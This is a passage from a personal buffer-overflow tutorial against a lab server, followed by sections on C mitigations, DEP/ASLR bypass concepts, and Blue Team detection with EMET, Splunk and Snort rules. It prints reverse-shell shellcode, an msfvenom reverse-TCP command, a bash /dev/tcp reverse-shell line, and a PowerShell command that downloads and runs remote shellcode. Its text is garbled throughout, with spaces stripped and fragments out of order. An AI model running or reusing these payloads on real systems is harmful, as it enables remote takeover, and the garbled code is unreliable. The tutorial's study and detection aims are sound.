bigger malware payloads you donrsquot have to go down into lower memory locations and hard code the new NOP location to ldquomake roomrdquo

for a bigger payload With memory protections enabled I suspect this becomes more complex but I think for now wersquoll go with the shell

codeaftertheEIPsowecanjumpintoESP

NOPS++EIP(JMPtoREGISTER)+NOPSLED+MALWARE+NOPS

BadCharactersinCustomMalwareIfyouweretoattempttofindyourownbufferoverflowinapieceofsoftwareandwriteyourownremotecodeexecutionorremotecommandexecutionyouwouldfindthatsomecharactersarereservedforpromotinglanguageandassemblerForexamplex00isusedforNULLpointterminationinCwhichindicatesanendofanarrayorbufferandtellsaprogramtostopatthepointitseesx00OtherlanguagesmayhavesimilarreservedtypeofcharactersyouwanttocommitAsanoverlysimplifiedexamplehellip

x86encodedShellCodewBadCharacters(Fornextsection)

xddxc4xb8xe3xb7xf6x55xd9x74x24xf4x5bx2bxc9xb1

x12x31x43x17x83xc3x04x03xa0xa4x14xa0x17x10x2f

xa8x04xe5x83x45xa8x60xc2x2axcaxbfx85xd8x4bxf0

xb9x13xebxb9xbcx52x83x46x3fxa5x52xd1x3dxa5x45

x7dxcbx44xd5x1bx9bxd7x46x57x18x51x89x5ax9fx33

x21x0bx8fxc0xd9xbbxe0x09x7bx00x00x55x76xb6x29xf6x01

xd8x7dxf3xdcx9bx00x00

Nowletrsquosupdateourclientpycodetoreflectthesechangesandincludethereverseshellpayloadwejustmade

UpdatedclientpyCodewiththeldquoBadCharactercoderdquo

Wersquore getting close to the moment of truth The expected behavior is when turn on another netcat listener on port 4444 and run the

clientpy the clientpy script will attack the vulnerable tcp server and write our malicious code into the vulnerable serverrsquos buffer and

overwrite EIP with a memory pointer that will tell the CPU to ldquogo backrdquo to our malicious command which will ultimately create a

connection back to the ldquoattackerrdquo on the listening 4444 port However because we have ldquoBad Charactersrdquo we know the connection

willfail

Enablenetcatonport4444(nc-lvp4444)

TurnonthevulnerableserverinEDB(Server1337)andthenattachtheprogramtoEDB

Runtheupdatedclientpyscriptagainstthevulnerableserver(pythonclientpy1337)

WaitforthevictimmachinetoconnectbacktotheldquoAttackerrdquoonport4444

We notice that the attack fails because the connection back to our attacking machine (farthest right) does not respond to our ID or

WHOIScommandsLetrsquosinvestigate

1 RightclickEIPinRegisterWindowsrarrFollowinDump

2 ScrollaroundandfindthemalwareinbetweentheNOPSLEDandNOPending

3 Lookforx00commandsandtrytonoticeanythingorstrange

WhattheTargetMachineSees

Whatwesentover

We go through each HEX character one by one and notice if any original character from the client payload are omittedgoofed up etc

etc This is a slow and tedious part of the process and arguably the best opportunity to learn We see a whole string of characters does

not ldquomatchrdquo So what happened The bad characters are reserved for various operations and memory locations If you send an OP

CODE for example then the machine will just process it ldquoas isrdquo not knowing that the characters you sent are part of a specific sequence

of characters to form a command In an environment where you are trying to encode BASH command or x86 x64 you will run into

various characters that your malware payloads canrsquot use If you donrsquot spend the time checking the memory dump for bad

charactersthenyouwillhavemanysadandlonelyhoursbehindthekeyboard

So we have to generate a payload that can omit bad characters Luckily we have a program to help us generate x86 shellcode and

omitcharacters

msfvenom-plinuxx86shell_reverse_tcpLHOST=127001LPORT=4444-fcndashex86shikata_ga_nai-bx00x0ax0d

TestingforbadcharactersisthebestwayforyoutolearnthedebuggerassemblyandHEXYoucandoitatleasttwowaysthatIknow

ofhellip

1 UseagiantblobofallASCIcharactersinHEX

2 Generateacouplesimplepayloadsyouwanttoexecuteandwalkthroughthepayloadlinebyline

Howtotestforbadcharactersandotherassemblyandregisterissues

Terminal1Server1337

Terminal2edb(orGDBIwonrsquotjudge)

fromedbrarrattachrarrServer

fromedbrarrdebugrarrclickrunrarrclickrunagainrarrlookatbottompainandseeiftheprogramisrunning

Terminal3ExecutetheclientscriptwithyourmaliciouspayloadpadwithArsquosorNOPSsoyoucanldquoFindrdquoyourcodequicklyinmemory

Yoursquollbelookingforx41orx90rsquos

Option1-AlltheASCII

x01x02x03x04x05x06x07x08x09x0ax0bx0cx0dx0ex0fx10

x11x12x13x14x15x16x17x18x19x1ax1bx1cx1dx1ex1fx20

x21x22x23x24x25x26x27x28x29x2ax2bx2cx2dx2ex2fx30

x31x32x33x34x35x36x37x38x39x3ax3bx3cx3dx3ex3fx40

x41x42x43x44x45x46x47x48x49x4ax4bx4cx4dx4ex4fx50

x51x52x53x54x55x56x57x58x59x5ax5bx5cx5dx5ex5fx60

x61x62x63x64x65x66x67x68x69x6ax6bx6cx6dx6ex6fx70

x71x72x73x74x75x76x77x78x79x7ax7bx7cx7dx7ex7fx80

x81x82x83x84x85x86x87x88x89x8ax8bx8cx8dx8ex8fx90

x91x92x93x94x95x96x97x98x99x9ax9bx9cx9dx9ex9fxa0

xa1xa2xa3xa4xa5xa6xa7xa8xa9xaaxabxacxadxaexafxb0

xb1xb2xb3xb4xb5xb6xb7xb8xb9xbaxbbxbcxbdxbexbfxc0

xc1xc2xc3xc4xc5xc6xc7xc8xc9xcaxcbxccxcdxcexcfxd0

xd1xd2xd3xd4xd5xd6xd7xd8xd9xdaxdbxdcxddxdexdfxe0

xe1xe2xe3xe4xe5xe6xe7xe8xe9xeaxebxecxedxeexefxf0xf1xf2xf3xf4xf5xf6xf7xf8xf9xfaxfbxfcxfdxfexff

Option2-Testsomespecificcommands

msfvenom-plinuxx86shell_reverse_tcpLHOST=127001LPORT=4444-fcndashex86shikata_ga_nai-bx00x0ax0d

xdaxc2xb8x84x78xb5xb8xd9x74x24xf4x5fx2bxc9xb1

x12x31x47x17x03x47x17x83x6bx84x57x4dx42xaex6f

x4dxf7x13xc3xf8xf5x1ax02x4cx9fxd1x45x3ex06x5a

x7ax8cx38xd3xfcxf7x50x9bxfex07xa1x0bxfdx07xb0

x97x88xe9x02x41xdbxb8x31x3dxd8xb3x54x8cx5fx91

xfex61x4fx65x96x15xa0xa6x04x8fx37x5bx9ax1cxc1

x7dxaaxa8x1cxfd

The-bx00x0ax0doptioninthecommandwillomitthex00rsquosfromtheoutputPreviouslyIpurposelyinsertedsomepeskyx00rsquosinto

thisshellcodeforillustrationTherealityisthatevenMSFVENOMmayoutputapayloadwithbadcharacterandyoustillneedtotest

Anothernoteisthattrytouseaverysimplepieceofmalwareforthefirstcodeexecution

ldquoThelargermoreadvancedthemalwareisinthebufferoverflowsthemorelikelyyouaretorunintobadcharacterandotherruntime

issuesitrsquosjustsimplemathhellipmorecharactersmorechancesforfailurerdquo

KeepitsimpleandsmallYoudonrsquotalwaysneedreverseshellsandmaybeyoucanrsquotuseareverseshellbecauseofbadcharactersor

hardeningRememberyoucanalwaysgetabiggerpayloadorbinarydowntothemachinewithasimpleTFTPGETCURLorECHO

commandLetrsquosruntheattackwiththebadcharactersomittedandseeifwecanlandashell

NewPayload

xdaxc2xb8x84x78xb5xb8xd9x74x24xf4x5fx2bxc9xb1

x12x31x47x17x03x47x17x83x6bx84x57x4dx42xaex6f

x4dxf7x13xc3xf8xf5x1ax02x4cx9fxd1x45x3ex06x5a

x7ax8cx38xd3xfcxf7x50x9bxfex07xa1x0bxfdx07xb0

x97x88xe9x02x41xdbxb8x31x3dxd8xb3x54x8cx5fx91

xfex61x4fx65x96x15xa0xa6x04x8fx37x5bx9ax1cxc1

x7dxaaxa8x1cxfd

Enablenetcatonport4444(nc-lvp4444)

TurnonthevulnerableserverinEDB(Server1337)andthenattachtheprogramtoEDB

Runtheupdatedclientpyscriptagainstthevulnerableserver(pythonclientpy1337)

WaitforthevictimmachinetoconnectbacktotheldquoAttackerrdquoonport4444

ClickldquoRunthroughprogramrdquobecauseyoumaybecaughtindebugmode

FinalResults

SuccessItlookslikethestackwasoverwrittenandwesuccessfullytoldEIPtopointintoourNOPSELDlocatedinESPFromthere

theCPUranthroughthememoryuntilitgotourmaliciouscodeThereverseshellcommandexecutedinthestackandconnectedback

toourldquoattackingrdquoterminal(farthestright)

CommonBufferOverflowExampleandMitigations(inC)

WhetheryourwritingsourceoryoujustreversedengineeredacompiledbinarywithGHIDRAyoumaywanttoknowwhichfunctionsare

morelikelytocauseanoverflowOlderClibraryfunctionslikestrcpy()strcat()sprintf()andvsprintf()operateonnullterminated

stringsandperformnoboundscheckingGets()isanotherfunctionthatreadsinput(intoabuffer)fromstdinuntilaterminatingnewline

orEOF(EndofFile)isfoundThescanf()familyoffunctionsalsomayresultinbufferoverflowsUsingstrncpy()strncat()snprintf()

andfgets()allmitigatethisproblembyspecifyingamaximumstringlengthofNHerersquosafewwelldocumentedexamplesIprovidedthe

assemblyinstructionstoillustratethatyoumightbeabletoreverseengineerwhereBOrsquospresentthemselvesfromobservingthe

registersofacompiledbinaryorreviewingtheoutputfromGHIDRA

gets

Thestdiogets()functiondoesnotcheckforbufferlengthandalwaysresultsinavulnerability

VulnerableCode(SOURCE)

printfexternallink(Inputsomethingnastyhere)

gets(something)

VulnerableCode(ASSEMBLY)

FixedCode

printfexternallink(Inputsomethingnastyhere)

fgets(usernameLENGTHstdin)

strcpy

Thestrcpybuilt-infunctiondoesnotnativelycheckbufferlengthsAsillustratedinourexampleiscanoverwritememoryzone

contiguoustomemorywherethepayloadisstored

VulnerableCode

charstr1[10]

charstr2[]=badstuffhere

strcpy(str1str2)

FixedCode(SOURCE)

enumBUFFER_LIMIT=1024

intmain()

chardst[BUFFER_LIMIT]

charsrc[]=badstuffhere

intbuffer_length=strlcpy(dstsrcBUFFER_LIMIT)

if(buffer_lengthgt=BUFFER_LIMIT)

printfexternallink(Stoptryingtooverflowmybufferd(disthelengthn

buffer_lengthBUFFER_LIMIT-1)

VulnerableCode(ASSEMBLY)

Anotherwaytomitigatestrcpyissuethatcomesupinblogsandowaspisstrncpywhichcanpreventbufferoverflows

FixedCode(SOURCE)

enumBUFFER_BOUNDARY_SIZE=1024

charstr1[BUFFER_BOUNDARY_SIZE]

charstr2[]=badstuffhere

strncpy(str1str2BUFFER_BOUNDARY_SIZE)limitsthenumberofcharacterstobecopiedtofizedlengthofbuffersize

strcat

YoumayalsoseetheuseofstrcatinsteadofstrncatstrcatdoesnotnativelysupportsettinganNlimitontheargumentpassedinto

thebufferAppendsthefirstnumcharactersofsourcetodestinationplusaterminatingnull-characterIfthelengthoftheCstringin

sourceislessthannumonlythecontentuptotheterminatingnull-characteriscopied

FixedCode(SOURCE)

defineBUFFER_BOUNDARY_SIZE1024

charbuff[BUFFER_BOUNDARY_SIZE]

Usesecurestrncpythenuse

strlcpy(buffString1BUFFER_BOUNDARY_SIZE-1)

buff[BUFFER_BOUNDARY_SIZE-1]=0

strncat(buffString2BUFFER_BOUNDARY_SIZE-strlen(buff)-1)

strcmp

ComparestheCstringstr1totheCstringstr2ThisfunctionstartscomparingthefirstcharacterofeachstringIftheyareequaltoeach

otheritcontinueswiththefollowingpairsuntilthecharactersdifferoruntilaterminatingnull-characterisreachedStrcmpdoesnot

validatethesizeoftheinputagainstthepredefinedbuffer

OtherMitigationstoBufferOverflows

During this tutorial I asked you to disable a few protections so we can perform a basic overflow PoC For example you had disable

ASLR in Linux using the procsyskernelrandomize_va_space interface You may have noticed the compiled C binaries needed the

following arguments -fno-stack-protector and -z execstac passed at compile time to remove C memory protections Modern exploits

need to bypass these advanced mechanisms so therersquos an entirely new rabbit hole Irsquoll only cover a few very broad areas here for my

own interest and to set myself up for further PoCrsquos and papers in the journey ahead The following should be just enough for the

newcomertodiptheirtoesintothesubjects

Canary

A less useful protections involves a method called a stack canary protections A stack canary work by modifying every functions

prologue and epilogue regions to assign a special ldquoCanaryrdquo character and check if the canary value is on the stack If not the canary

ldquosingsrdquo to warn you lol An example is The Stack Smashing Protector (SSP) compiler feature which according to their website helps

detect stack buffer overrun by aborting if a secret value on the stack is changed SSP even admits that if an attacker can properly

overwriteorjumpacanaryinstructionitispossibletobypasstheprotectionHereareafewresourcesIrsquovestartedwith

https0x00secorgtexploit-mitigation-techniques-stack-canaries5085

httpswwwrapid7comresourcesstructured-exception-handler-overwrite-explained

httpswwwexploit-dbcomdocsenglish17505-structured-exception-handler-exploitationpdf

DEP-DataExecutionProtection

DEP or executable-space protection specifically flags some memory regions as non-executable The intent is that when malware

executes the machine code in the protected regions it will cause an execution exception Flagging the memory regions and registers as

non-executablemeanstheattackerscodecannotberunUltimatelythismakesithardertoachieveofbufferoverruns

For example according the Linux man page on execstack ldquoexecstack is a program which sets clears or queries executable stack flag

of ELF binaries and shared librariesrdquo Another note your compiled binaries could be flagged with a no execution bit (NX) while other

linked libraries may still have executable stacks This is where problems arise -fno-stack-protectactor disables stack overflow

security checks for certain (or all) routines When option -fstack-protector-strong is specified it enables stack overflow security checks

forroutineswithanytypeofbuffer

In modern Windows software DEP is configured at system boot via a policy setting in the boot configuration data An application can get

the current policy setting by calling the GetSystemDEPPolicy function Hardware DEP is typically enabled by default in at the

bootloader but can be disabled with physical access Depending on the policy setting an User-Land application can change the DEP

setting for the current process by calling the SetProcessDEPPolicy function Allowing user-land changes is where developers may

introduceunprotectedcompiledbinariesThefollowinglinksareexamplesofhowtoimplementDEP

httpslwnnetArticles422487

httpslinuxdienetman8execstack

httpssupportmicrosoftcomen-ushelp875352a-detailed-description-of-the-data-execution-prevention-dep-feature-in

httpssupportmicrosoftcomen-ushelp912923how-to-determine-that-hardware-dep-is-available-and-configured-on-your

httpsdocsmicrosoftcomen-uswindows-hardwaredriversdevtestboot-parameters-to-configure-dep-and-pae

BypassingDEP

Bypassing DEP and NX requires a method called Return-Oriented Programming My first introduction to this concept was thanks to

David Maloney Sr Security Researcher at Rapid7 who had a great youtube video online that covered the concept at 1000 feet view

ThevideofirstmentionsamethoddevelopedgoingtoreturntolibcandthendiscussesReturnObjectProgrammingorROPchaining

So if stack execution is enabled wersquod expect that an attempt to execute from the stack will result in a terminated process and the cpu

will throw a segmentation fault In the return to lib C method instead of overwriting EIP with a JUMP ESP instruction like this PoC you

overwritetheInstructionPointerwithfunctionsfromwithinlibclibrary

arguments Another thing I learned is that libC is not required however it is just the most likely available and most common target in

linux In a libC example I found it was as simple as finding the memory location for system() and calling binbash which was executable

in memory As a counter defense some folks remove functions from libraries that can result in this type of chained execution Another

option which does not rely on calls to external executable functions is Return Object Programming or ROP chaining As mentioned in

the video your exploit must make use of instruction sequences available in the program yoursquore attacking or libraries linked to the

application aka ldquorop gadgetsrdquo When reading about ROP gadget I came across a line that explained there are intended sequences of

instructions and unintended sequences of instructions Hmmmmm why Because misspelling copy and pasting code hellip nope

somethingmoretrvialIrsquollre-usethisquotebecauseitwasafunpuzzle

ldquoWhat Unintended how come well if you look at a sentence like ldquothe articlerdquo the writer intended to say ldquothe articlerdquo but he didnrsquot

intendtohavethewordldquoheartrdquodidherdquo

Basically the instructions wersquore looking for end in RET aka ldquoReturnrdquo You chain a bunch of these assembly instructions together in your

payload until you get a command that can perform similar execution to the malware we used in our simple PoC You can find ROP

gadgets with the following in Immunity Debugger mona rop -m dll -cp nonull or in linux you can try simple text search for RET

instructionorROPgadgetToolonGithHuborVNsecuritycalledROPemeandorprocpidmaps

An example used in a linked exploit-db article is chaining a bunch of ROP gadgets together to basically execute

ldquoexecve(ldquobinshrdquo00)rdquo Execve executes the program pointed to by filename filename must be either a binary executable or a script

which in our case would be something like a variable equal to our reverse shell command binsh -i gtamp devtcp1270014444 0gtamp1

But when Windows or Linux has ASLR enabled libraries those binaries will have a randomized virtual memory space so it makes it

difficulttocallexecve()orsystem()

Another technique to bypass DEP makes use of native API that can change the execution flag on your memory spaces Examples Irsquove

found include VirtualAlloc HeapCreateVirtualProtect APIs If you can call upon these functions then you may be able to either create

a new executable space or change the flag for existing executable space However finding the memory addresses to these functions

andcallingthemappearstobeadifferentstory

httpsgithubcomJonathanSalwanROPgadget

httpswwwrapid7comresourcesrop-exploit-explained

httpswwwexploit-dbcomdocsenglish17131-linux-exploit-development-part-3---ret2libcpdf

httpswwwexploit-dbcomdocsenglish28479-return-oriented-programming-(rop-ftw)pdf

httpswwwexploit-dbcomdocsenglish44090-zero-day-zen-garden-windows-exploit-development---part-5-[return-oriented-programmi

ng-chains]pdf

ASLR(Addressspacelayoutrandomization)

Inourexampleyoumayhavenoticedthatwecoulddirectlypullamemoryaddressandre-usethataddressinorubufferoverflowPoCThisisbecausewedisabledASLRviaLinuxecho0|sudoteeprocsyskernelrandomize_va_spaceWindows[HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlSessionManagerMemoryManagement]ldquoMoveImagesrdquo=dword00000000Addressspacelayoutrandomization(ASLR)isamechanisminvolvedinreducingreliabilityofexploitationviamemorycorruptionattacksliketheBufferOverflowinthisPoCInourPoCyoumayhavenoticedwepulledthehardwarememorylocationsofourbinariesandthenpointedbacktothosehardwarememorylocationsIfyoucanobscurethosememorylocationssuchthatpredictingthemisincreasinglydifficultthenthebarrierentryinexploitwritingandexecutionbecomesharderForexampleweusedJMPESPmemorylocationtoslidebackintoourNOPSLEDASLRwouldrandomlyarrangesthevirtualmemoryaddressspacepositionsofkeydataareasofaprocessincludingthebaseoftheexecutableandthepositionsofthestackheapandlibrarieswhentheythebinaryisloadedIfwewanttojumpintoaROPgadgetorcallnativeAPIrsquosandDLLshowwouldwedoitifwecanrsquotaccuratelyupdatearegistrypointerwiththememorylocation

BypassingASLR

Admittedly this is a very deep rabbit hole Most write-ups and video tutorials require an expert level knowledge of assembly and

windowslinux software architecture beyond what I intended this write-up for Irsquoll do my best to boil what Irsquove learned down into digestible

chunksandhopefullythishelpsguidemyselfandotherfurtherstudies

NonASLRlinkedbinaries

It seems like that as Windows and Linux made the transition to ASLR in the early 2000rsquos that about a decade later they were left with

some non ASLR binaries for cross compatibility It could even be that some custom application you downloaded ported over something

that is specifically ASLR disabled I found an example of this in the following two articles hellip Attacking specific functions within non ASLR

enabled binaries appears to be an early method where if we could find a ldquouniversalrdquo DLL in windows or linux we may be able to call the

memory address of JMP ESP or ROP GADGET or similar from there The point is a combination of an insecure ASLR enabled program

with access or links to a non ASLR binary results in access instructions and predictable memory locations that can be used to bypass

ASLRandbeginaROPattack

httpswwwexploit-dbcomdocsenglish17504-defeating-data-execution-prevention-and-aslr-in-windows-xp-sp3pdf

httpswwwexploit-dbcomdocsenglish17914-bypassing-aslrdeppdf

PointerLeaksDanglingPointers

If you dig deep enough yoursquoll find some mention of modern attacks using dangling pointers or pointer leakers to bypass ASLR This isnrsquot

for the faint of heart and probably not for a newcomer like myself but I like rabbit holes A dangling pointer bug can be used to put code

into an application An object put into memory is allocated a space in heap and object functions are typically managed via a VFTABLE

which creates virtual pointers which reference the actual object in HEAP My understanding is that if you can overwrite the memory

object in HEAP with exact procesion at the exact time after it has be de-allocated from memory but before it has been destructed that

the object space can be overwritten with malicious code This is due to how allocation of heap is managed de-allocated freed and how

virtualfunctionsarereferencedviavirtualtables

httpswwwblackhatcompresentationsbh-usa-07AfekWhitepaperbh-usa-07-afek-WPpdf

httpswwwowasporgimagesffaOWASP_IL_8_Dangling_Pointerpdf

httpswwwrapid7comresourceswhy-you-should-be-using-emet

HEAPSprayswithASLRdisabledVirtualAlloc()inWindows

If you canrsquot find memory location of instructions in ASLR protected binaries and libraries it appears you can spray the heap and create

write chunks to memory of NOPs and malware You would likely still need to bypass DEP so ROP chains still apply however you can

either look for non ASLR binary to ROP or spray ROP gadgets in the blocks passed to HEAP Spraying Heap with memory allocated by

VirtualAlloc() appears to have been a successful method by bypass ASLR because VirtualAlloc() was not ASLR protected but this

seemslikejustplainluck

httpswwwcorelanbeindexphp20111231exploit-writing-tutorial-part-11-heap-spraying-demystified

httpswwwblackhatcompresentationsbh-europe-07SotirovPresentationbh-eu-07-sotirov-apr19pdf

BlueteamEngineeringforpostBufferOverflow

For my own general curiosity I wanted to end this PoC with some notes on how detect a Buffer Overflow attack My intent is to just

learn and see where it takes me As a newcomer maybe this will help paint a better picture of cyber-security as a whole Because BOrsquos

are memory attacks it can be difficult to detect unless you have a low level program monitoring for Canary issues NX issues

SEGVFAULT x90rsquos ROPs etc Windows has offered EMET historically and more recently offered an IPSIDS in Windows Defender to

Enterprise There are also some ldquoNext Genrdquo IDSIPS that install in kernel space which have the logic to look for such events As I

thoughtthroughthisIlumpedthedetectionintotwobuckets

1 DetectingFailedBufferOverflowAttempts

2 DetectingSuccessfullyBufferOverflowAttempts

DetectingFailedBufferOverAttemptsinWindows

If you want to hunt attackers who attempt buffer overflow you can turn to the logs For examples EMET (Windows ASLRDEP) events

are logged as a Windows event source called EMET More modern Windows Defender Exploit Guard follows a similar pattern as the

oneIrsquomgoingtooutlineEMETDefenderlogscanbefoundintheWindowsApplicationlog

For EMET there are three levels Information Warning and Error Information messages are used for logging usual operation such as

the EMET Notifier starting Warning messages are used when EMET settings change Error messages are used for logging cases

whereEMETstoppedanapplicationwithoneofitsmitigationswhichmeansanactiveattackhasbeenblocked

EMET and Defender logs can be sent to a central log collection server or from the local machine Irsquoll refer to an example where their

sent to a central log collector parsed then sent onto your SIEM Here is a brief example of an a SPLUNK integration on Windows but a

similarmodelcouldbedeployedwithSyslogSyslogServersandanELKStackactingasaSIEM

Yoursquoll need to ensure your local endpoints are configured to log EMET via GPO Windows Event Collector service is enabled and a

collection server is deployed Here is an example of a local local log policy setting to push down to the endpoints being monitored via

GPOetc

ltQueryListgt

ltQueryId=0Path=Applicationgt

ltSelectPath=Applicationgt[System[Provider[Name=EMET]and(Level=2)]]ltSelectgt

ltQuerygt

ltQueryListgt

To analyze the EMET data in Splunk yoursquoll need to install the Splunk Universal Forwarder on the central log collection server and

configure it to send logs from the collectorsyslog server to a Splunk indexer Splunk Indexer is just a fancy way to say a network service

to send your logs to which has some special logic to parser filter transform and write your logs in a unique format to Splunk based on

somepredefinedSplunkpolicy

Yoursquoll may need to set a filter on the central log server to parse the events for the EMET alerts before sending them on Below is an

exampleoftheWindowseventssubscriptionfilterRememberthedefaultlocationofforwardedlogeventsistheForwardedEventslog

The following is a Splunk sample configurations that can be used in the Splunk inputsconf file on the central log collection server

BasicallythispolicysayswhichlogscangetsentontotheSIEM

[WinEventLogForwardedEvents]

disabled=0

renderXml=1

evt_resolve_ad_obj=1

The above policy config tells the Splunk Universal Forwarder to monitor the Forwarded Events log on the log collection server and to

and send the events in XML format allows for facilitated extraction of information in Splunk to aid in the creation of useful Splunk

queries

SampleEMETEvent

EMETversion55587131892

EMETdetectedEAF+mitigationandwillclosetheapplicationIEXPLOREEXE

EAF+checkfailed

ApplicationCProgramFiles(x86)InternetExplorerIEXPLOREEXE

UserNameDOMAINuser

SessionID1

PID0x1348(4936)

TID0xF90(3984)

ModuleSOMEDLLdll

ModBase0x11630000

ModAddress0x11642E99

MemAddress0x76F501A4

Your Blue Team can configure an alert based on these results Consider correlating the alert with internal ranking of the assets value to

prioritize the response For example an alert like this on a PCI system or system storing your unreleased Intellectual Property may

need immediate action compared to a non production server being pen tested Although a non production server sounds like a nice

beachheadtomaintainafoothold

httpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdf

httpsblogstechnetmicrosoftcomthedutchguy20170124windows-event-forwarding-to-a-workgroup-collector-server

DetectingSuccessfulBufferOverAttempts

The Blue Team philosophy is to assume your compromise and look for Indicators of Compromise In this model we assume the attacker

has successfully launched a buffer overflow and gained command and control over the asset Which means our mitigations have failed

which they will In my mind there are two techniques Irsquod lie to cover Irsquom sure there are more but as a newcomer I think these two

approachespaintsasolidpicture

1) Networkbasedsignaturedetection(Thismayalsocatchunsuccessfulattempts)

2) Hostbasedsignaturedetection

NetworkBasedDetection

Letrsquos consider the basic reverse shell we created with MSFVENOM from metasploit and packched into our malware variable in the

clientpyscriptWhenthisattackoccursithasafewuniquecharacteristicsinsidethenetworkcommunication

1 EncodedHEXpayloadmalwarewithintheclientattack

2 Abunchofx90rsquoswithintheclientattack

3 possiblybinbashorotheruniquestringssentbackinthereverseshellasSTIOtotheattackersterminal

If you had an inline or passive IDS which had access to the buffer overflow network packets a Blue Teams will likely have

SNORTSURICATA rules which alert on signatures that match our payload This is because the commands to gain a reverse shell from

bash sh python etc are universally known Irsquove included a few examples of emerging shell_code SNORT rules that look for metasploit

generatedBSDshellcode

alert ip $EXTERNAL_NET any -gt $HOME_NET any (msgET SHELLCODE METASPLOIT BSD Reverse shell (Not Encoded 2)

content|6a 61 58 99 52 42 52 42 52 68| fast_patternonly referenceurldocemergingthreatsnet2010416

classtypeshellcode-detect sid2010416 rev4 metadataaffected_product Any attack_target Client_and_Server deployment

Perimeter deployment Internet deployment Internal deployment Datacenter tag Metasploit signature_severity Critical created_at

2010_07_30updated_at2016_07_01)

alert ip $EXTERNAL_NET any -gt $HOME_NET any (msgET SHELLCODE METASPLOIT BSD Reverse shell (Not Encoded 3)

content|89 e1 6a 10 51 50 51 97 6a 62 58 cd 80 6a 02 59 b0 5a 51 57| fast_patternonly

referenceurldocemergingthreatsnet2010417 classtypeshellcode-detect sid2010417 rev4 metadataaffected_product Any

attack_target Client_and_Server deployment Perimeter deployment Internet deployment Internal deployment Datacenter tag

Metasploitsignature_severityCriticalcreated_at2010_07_30updated_at2016_07_01)

Modern attacks occur over TLSSSL over tcp communications these days which means detecting our payload would be difficult to nearly

impossible Blue-teams may counter encrypted communication with TLS interception and packet inspection To further evade TLS

interception crypters encoders custom encoded code or polymorphic code would need to be written Irsquove even heard of padding the

payloadsolargethattherulesareignoredduetoperformanceaswellSneaky

HostBasedDetection

In this model you assume the target has already been breached Maybe EMET was disabled or the attack was highly sophisticated and

made it past your defenses Whatever the case the attacker now has command and control over your machine thanks to a Buffer

OverflowLuckilyattackerpatternsofbehaviorarerelativelypredictableWhatdoesthatmean

Consideriftheactivedirectorylogsshowdirectoryenumerationssuchas

netviewdomain

netuserdomain

netaccountsdomain

Considerifthelocalhostlogsshowlocalaseriesofenumerationscommandssuchas

systeminfo

netlocalgroupldquoAdministratorsrdquo

uname-a

catprocissue

Considermoreadvancedpost-exploitattemptstobypassdetectionviaPowerShell

start-Process -FilePath nssmexe -ArgumentList lsquoinstall MaliciousService ldquoCWindowsSystem32WindowsPowerShellv10powershellexerdquo ldquo-command ldquoamp CScriptsMonitorps1 Start-Monitoring rdquordquo lsquo -NoNewWindow-Wait

powershellexe-execbypassndashnoprofilendashciex(New-ObjectNetWebClient)DownloadString

(http10022108081CodeExecutionInvoke-Shellcodeps1)

Similar to the EMET example local logs can be sent via Windows Collectors andor Syslog and forwarded to your SIEM For PowerShell attack Windows has added additional logging capabilities to memory based powershell execution but if the logs are disabled or omitted then detection may be thwarted Irsquove overly simplified a highly sophisticated topic but the point to drive home is that you assume a zero-daywillsucceedandlookforIoCrsquosthatshowenumerationprivilegeescalationetcetc

ENJOY

ReferencesandHonorableMentions

GeneralReferencehttpsenwikipediaorgwikiAddress_space_layout_randomizationhttpsenwikipediaorgwikiExecutable_space_protectionWindowshttpsenwikipediaorgwikiReturn-oriented_programminghttpsenwikipediaorgwikiJust-in-time_compilationhttpsenwikipediaorgwikiHeap_sprayinghttpsenwikipediaorgwikiDangling_pointerSecurity_holes_involving_dangling_pointersTechnicalResourceshttpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdfhttpsmindmajixcomsplunkmonitor-windows-event-log-datahttpsgithubcomjpalancoalienvault-ossimblobmastersnort-rules-default-openrules290emergingrulesemerging-shellcoderuleshttpswwwsplunkcomblog20170706hellsbells-lets-hunt-powershellshtmlhttpssciencerpieducomputer-sciencehttpresearchcswiscedumistpresentationskupsch_miller_secse08pdf

httpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdfhttpsblogstechnetmicrosoftcomthedutchguy20170124windows-event-forwarding-to-a-workgroup-collector-serverhttpsgithubcomJonathanSalwanROPgadgethttpswwwrapid7comresourcesrop-exploit-explainedhttpswwwexploit-dbcomdocsenglish17131-linux-exploit-development-part-3---ret2libcpdfhttpswwwexploit-dbcomdocsenglish28479-return-oriented-programming-(rop-ftw)pdfhttpswwwexploit-dbcomdocsenglish44090-zero-day-zen-garden-windows-exploit-development---part-5-[return-oriented-programming-chains]pdfhttpswwwexploit-dbcomdocsenglish17504-defeating-data-execution-prevention-and-aslr-in-windows-xp-sp3pdfhttpswwwexploit-dbcomdocsenglish17914-bypassing-aslrdeppdfhttpswwwblackhatcompresentationsbh-usa-07AfekWhitepaperbh-usa-07-afek-WPpdfhttpswwwowasporgimagesffaOWASP_IL_8_Dangling_Pointerpdfhttpswwwrapid7comresourceswhy-you-should-be-using-emethttpswwwcorelanbeindexphp20111231exploit-writing-tutorial-part-11-heap-spraying-demystifiedhttpswwwblackhatcompresentationsbh-europe-07SotirovPresentationbh-eu-07-sotirov-apr19pdfComputerphilevideosandtheirAuthorsProgrammingandSoftwareArchitecturehttpswwwseasupennedu~cit595cit595s10contentshtmlhttpswwwlearn-corghttpsgodboltorgLinuxManPagesandtheirAuthors

LetrsquosupdatetheoriginalclientpyscriptagainwithournewbufferandruntheattackagainstthevulnerableserverintheEDBBythewayIfoundVIMtobefarsuperiorforreplacinglargebuffersizewordsallatonceandnavigatingbackandforthtothebeginningandendofline(-8hellipafterfatthumbingitafewtimesweplacetheclientandtheserverside-by-sideandobservewhathappened

ThistimetheSIGSEGVshowsthatourinstructionpointerwasoverwrittenwithCrsquos(x43)TheoutputshowsusthatouroverflowisinourCrsquosbecauseweseex43hasoverwrittensomeofthedataregistersandthepointerregisters(X)isdataand(P)ispointerbytheway

